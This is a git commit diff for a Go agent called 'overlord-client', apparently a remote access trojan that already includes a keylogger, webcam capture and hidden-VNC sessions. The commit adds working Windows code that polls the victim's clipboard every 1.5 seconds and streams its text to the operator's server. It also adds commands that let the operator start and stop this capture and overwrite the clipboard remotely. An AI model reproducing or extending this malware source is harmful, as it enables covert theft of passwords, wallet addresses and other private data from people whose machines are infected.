sync clipboard

This commit is contained in:
KingKDot
2026-03-28 21:58:16 -05:00
parent 92342578a4
commit 67616e78f3
14 changed files with 410 additions and 1 deletions
@@ -0,0 +1,12 @@
//go:build !windows
package handlers
import (
"context"
"overlord-client/cmd/agent/runtime"
)
func ClipboardSyncStart(_ context.Context, _ *runtime.Env, _ string) {}
func ClipboardSyncSet(_ string) {}
@@ -0,0 +1,143 @@
//go:build windows
package handlers
import (
"context"
"log"
"time"
"unsafe"
"overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
"golang.org/x/sys/windows"
)
var (
cbUser32 = windows.NewLazySystemDLL("user32.dll")
cbKernel32 = windows.NewLazySystemDLL("kernel32.dll")
procOpenClipboardCB = cbUser32.NewProc("OpenClipboard")
procCloseClipboardCB = cbUser32.NewProc("CloseClipboard")
procGetClipboardCB = cbUser32.NewProc("GetClipboardData")
procEmptyClipboard = cbUser32.NewProc("EmptyClipboard")
procSetClipboardData = cbUser32.NewProc("SetClipboardData")
procGlobalAllocCB = cbKernel32.NewProc("GlobalAlloc")
procGlobalLockCB = cbKernel32.NewProc("GlobalLock")
procGlobalUnlockCB = cbKernel32.NewProc("GlobalUnlock")
procRtlMoveMemory = cbKernel32.NewProc("RtlMoveMemory")
)
const (
cbCFUnicodeText = 13
cbGMEMMoveable = 0x0002
)
func clipboardSyncRead() string {
r, _, _ := procOpenClipboardCB.Call(0)
if r == 0 {
return ""
}
defer procCloseClipboardCB.Call()
h, _, _ := procGetClipboardCB.Call(cbCFUnicodeText)
if h == 0 {
return ""
}
ptr, _, _ := procGlobalLockCB.Call(h)
if ptr == 0 {
return ""
}
defer procGlobalUnlockCB.Call(h)
n := 0
for {
v := *(*uint16)(unsafe.Pointer(ptr + uintptr(n)*2))
if v == 0 {
break
}
n++
if n > 1<<20 {
break
}
}
u16 := unsafe.Slice((*uint16)(unsafe.Pointer(ptr)), n)
return windows.UTF16ToString(u16)
}
func clipboardSyncWrite(text string) error {
r, _, _ := procOpenClipboardCB.Call(0)
if r == 0 {
return windows.ERROR_ACCESS_DENIED
}
defer procCloseClipboardCB.Call()
procEmptyClipboard.Call()
utf16, err := windows.UTF16FromString(text)
if err != nil {
return err
}
size := len(utf16) * 2
hMem, _, _ := procGlobalAllocCB.Call(cbGMEMMoveable, uintptr(size))
if hMem == 0 {
return windows.ERROR_NOT_ENOUGH_MEMORY
}
ptr, _, _ := procGlobalLockCB.Call(hMem)
if ptr == 0 {
return windows.ERROR_LOCK_FAILED
}
procRtlMoveMemory.Call(ptr, uintptr(unsafe.Pointer(&utf16[0])), uintptr(size))
procGlobalUnlockCB.Call(hMem)
r, _, _ = procSetClipboardData.Call(cbCFUnicodeText, hMem)
if r == 0 {
return windows.ERROR_ACCESS_DENIED
}
return nil
}
func ClipboardSyncStart(ctx context.Context, env *runtime.Env, source string) {
log.Printf("clipboard_sync: starting (%s)", source)
defer log.Printf("clipboard_sync: stopped (%s)", source)
ticker := time.NewTicker(1500 * time.Millisecond)
defer ticker.Stop()
var lastContent string
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
content := clipboardSyncRead()
if content == "" || content == lastContent {
continue
}
lastContent = content
text := content
if len(text) > 64*1024 {
text = text[:64*1024]
}
msg := wire.ClipboardContent{
Type: "clipboard_content",
Text: text,
Source: source,
}
if err := wire.WriteMsg(ctx, env.Conn, msg); err != nil {
log.Printf("clipboard_sync: send failed: %v", err)
}
}
}
}
func ClipboardSyncSet(text string) {
if len(text) > 64*1024 {
text = text[:64*1024]
}
if err := clipboardSyncWrite(text); err != nil {
log.Printf("clipboard_sync: write failed: %v", err)
}
}
@@ -698,6 +698,59 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
capture.SetMaxResolution(maxH)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "clipboard_sync_start":
payload, _ := envelope["payload"].(map[string]interface{})
source := "rd"
if payload != nil {
if v, ok := payload["source"].(string); ok && v != "" {
source = v
}
}
env.ClipboardSyncMu.Lock()
if env.ClipboardSyncCancel != nil {
env.ClipboardSyncCancel()
if env.ClipboardSyncDone != nil {
<-env.ClipboardSyncDone
}
}
syncCtx, syncCancel := context.WithCancel(ctx)
env.ClipboardSyncCancel = syncCancel
env.ClipboardSyncSource = source
done := make(chan struct{})
env.ClipboardSyncDone = done
goSafe("clipboard_sync", env.Cancel, func() {
ClipboardSyncStart(syncCtx, env, source)
close(done)
})
env.ClipboardSyncMu.Unlock()
log.Printf("clipboard_sync: start (%s)", source)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "clipboard_sync_stop":
env.ClipboardSyncMu.Lock()
if env.ClipboardSyncCancel != nil {
env.ClipboardSyncCancel()
if env.ClipboardSyncDone != nil {
<-env.ClipboardSyncDone
}
env.ClipboardSyncCancel = nil
env.ClipboardSyncDone = nil
}
env.ClipboardSyncMu.Unlock()
log.Printf("clipboard_sync: stop")
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "clipboard_set":
payload, _ := envelope["payload"].(map[string]interface{})
text := ""
if payload != nil {
if v, ok := payload["text"].(string); ok {
text = v
}
}
ClipboardSyncSet(text)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_mouse_move":
if !env.MouseControl {
sendCommandResultSafe(env, cmdID, true, "")
+4
View File
@@ -40,6 +40,10 @@ type Env struct {
WebcamCancel context.CancelFunc
WebcamDone chan struct{}
WebcamMu sync.Mutex
ClipboardSyncCancel context.CancelFunc
ClipboardSyncDone chan struct{}
ClipboardSyncMu sync.Mutex
ClipboardSyncSource string // "rd" or "hvnc"
// Other fields
Plugins *plugins.Manager
Keylogger *keylogger.Keylogger
@@ -228,6 +228,12 @@ type HVNCLookupResult struct {
Done bool `msgpack:"done"`
}
type ClipboardContent struct {
Type string `msgpack:"type"`
Text string `msgpack:"text"`
Source string `msgpack:"source"`
}
type ProxyData struct {
Type string `msgpack:"type"`
ConnectionID string `msgpack:"connectionId"`